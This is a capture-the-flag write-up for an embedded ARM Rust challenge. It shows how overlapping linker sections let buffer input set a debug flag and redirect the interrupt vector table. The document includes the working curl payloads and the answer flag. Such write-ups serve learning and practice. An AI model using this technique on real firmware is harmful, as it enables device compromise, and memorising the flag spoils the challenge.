Rating:

The task gives ELF ARM binary along with sources `main.rs`:
```
#![no_std]
#![no_main]
#![feature(asm)]

mod qemu;
mod reset;
mod uart;
use core::cell::RefCell;

struct RefCellWrapper<T>(pub RefCell<T>);

unsafe impl<T> Sync for RefCellWrapper<T> {}

use core::ops::Deref;
impl<T> Deref for RefCellWrapper<T> {
type Target = RefCell<T>;
fn deref(&self) -> &RefCell<T> {
&self.0
}
}

#[link_section = ".mainbuffer"]
static BUFFER: RefCellWrapper<[u8; 32]> = RefCellWrapper(RefCell::new([0u8; 32]));

#[repr(C)]
struct AdminParams {
serial: [u8; 16],
device_name: [u8; 10],
debug_mode: bool,
interrupt_init: u32,
}

#[link_section = ".config"]
static CONFIG: RefCellWrapper<AdminParams> = RefCellWrapper(RefCell::new(AdminParams {
serial: [0; 16],
device_name: [0; 10],
debug_mode: false,
interrupt_init: 0u32,
}));

fn init() {
let mut config = CONFIG.borrow_mut();
config.serial = [0xd7; 16];
config.device_name = *b"PuzzleTime";
}

fn init_vtor() {
let new_vtor = CONFIG.borrow().interrupt_init;
if new_vtor <= 0x2000_0000 {
unsafe { core::ptr::write_volatile(0xE000ED08 as *mut u32, new_vtor) };
}
}

#[link_section = ".welcome"]
#[inline(never)]
fn print_welcome() {
let lr = reset::__get_lr();

println!("--- Welcome to Donjon services ---");

if lr & 0xfffffff0 == 0xfffffff0 {
qemu::dump_flag();
qemu::exit();
}
}

fn recv() {
print!("Command: ");
let uart = uart::UART::new();

let mut buffer = BUFFER.borrow_mut();
for b in buffer.iter_mut() {
let byte = uart.receive_byte();
print!("{}", byte as char);
if byte == b'\n' as u8 {
break;
} else {
*b = byte;
}
}
print!("\n");
}

fn recv_and_exec_cmd() {
recv();

let buffer = BUFFER.borrow();
let opcode = buffer[0];

match opcode {
0x30 => print_welcome(),
0x31 => {
if CONFIG.borrow().debug_mode {
init_vtor();
} else {
println!("Not in DEBUG mode.");
}
}
_ => println!("Unknown command"),
}
}

#[no_mangle]
pub fn _start() {
init();
init_vtor();

recv_and_exec_cmd();
recv_and_exec_cmd();
}
```
`reset.rs`:
```
use crate::qemu::exit;

pub fn default_handler() -> ! {
exit();
}

#[inline(always)]
pub fn __get_lr() -> u32 {
let lr: u32;
unsafe {
asm!("mov {}, lr", out(reg) lr);
}
lr
}

pub fn hf_handler() -> ! {
crate::println!("[!] HardFault hit, shutting down...");
exit();
}

#[link_section = ".vectort"]
#[used]
pub static VECTOR_INIT_TABLE: [fn() -> !; 2] = [default_handler, hf_handler];
```
plus `qemu.rs` and `uart.rs` that have some not-really-interesting helper functions. There is also `client.py` that talks to the server:
```
import numpy as np
import requests
from binascii import hexlify

url = "http://puzzle.donjon-ctf.io:7000"

def send(dat):
data = hexlify(bytes(dat, 'utf8')).decode()
cmd = {'cmd' : 'send', 'data': data }
x = requests.post(url, json = cmd)
return x.json()

if __name__ == "__main__":
print(send("0\n1\n")["message"])
```

A trap can be seen with `objdump --headers puzzle1`:
```

puzzle1: file format elf32-littlearm

Sections:
Idx Name Size VMA LMA File off Algn
0 .vector_table 00000200 00000000 00000000 00010000 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
1 .text 00002a1a 00000200 00000200 00010200 2**2
CONTENTS, ALLOC, LOAD, READONLY, CODE
2 .welcome 000000ae 00002c1a 00002c1a 00012c1a 2**1
CONTENTS, ALLOC, LOAD, READONLY, CODE
3 .rodata 0000134f 00003000 00003000 00013000 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
4 .mainbuffer 00000024 20000000 20001000 00020000 2**2
CONTENTS, ALLOC, LOAD, DATA
5 .config 00000024 20000000 20001024 00030000 2**2
CONTENTS, ALLOC, LOAD, DATA
6 .bss 00000024 20000000 20000000 00020000 2**0
ALLOC
7 .ARM.attributes 00000032 00000000 00000000 00030024 2**0
CONTENTS, READONLY
8 .debug_abbrev 00000224 00000000 00000000 00030056 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
9 .debug_info 0001fc6c 00000000 00000000 0003027a 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
10 .debug_aranges 000017b8 00000000 00000000 0004fee6 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
11 .debug_ranges 00018de0 00000000 00000000 0005169e 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
12 .debug_str 0002d3dd 00000000 00000000 0006a47e 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
13 .debug_pubnames 0000bb40 00000000 00000000 0009785b 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
14 .debug_pubtypes 00000012 00000000 00000000 000a339b 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
15 .debug_frame 00005304 00000000 00000000 000a33b0 2**2
CONTENTS, READONLY, DEBUGGING, OCTETS
16 .debug_line 00021b84 00000000 00000000 000a86b4 2**0
CONTENTS, READONLY, DEBUGGING, OCTETS
```
VMAs for two sections `.mainbuffer` and `.config` (as well as `.bss`) are the same, so the sections overlap after loading, and our data that go into `.mainbuffer` overwrite bytes from `.config`. First 26 bytes of the config are not used, but 27-th byte is `debug_mode` that changes processing of the command `0x31`. Let's check it:
```
$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"300A310A"}'
{"message":"Command: 0\n\n--- Welcome to Donjon services ---\nCommand: 1\n\nNot in DEBUG mode.\n[!] HardFault hit, shutting down...\n"}
$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"302020202020202020202020202020202020202020202020202020200A310A"}'
{"message":"Command: 0 \n\n--- Welcome to Donjon services ---\nCommand: 1\n\n[!] HardFault hit, shutting down...\n"}
```
Yep, the message "Not in DEBUG mode" is gone.

The message about HardFault suggests that `hf_handler` is called, probably via interrupt table. The command 0x31 in "debug" mode rewrites interrupt table pointer with our data; let's make it point to `print_welcome`. Looking for an address of `print_welcome` (plus 1 due to thumb mode), we find it at 0x300C in `.rodata`; interrupt table pointer should point below to accomodate that hardfault is not the first vector in the table. The final command is
```
$ curl http://puzzle.donjon-ctf.io:7000 -d '{"cmd":"send","data":"3020202020202020202020202020202020202020202020202020202000300A310A"}'
{"message":"Command: 0 \u00000\n\n--- Welcome to Donjon services ---\nCommand: 1\n\n--- Welcome to Donjon services ---\nCTF{embedded_with_care}\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\u0000\n"}
```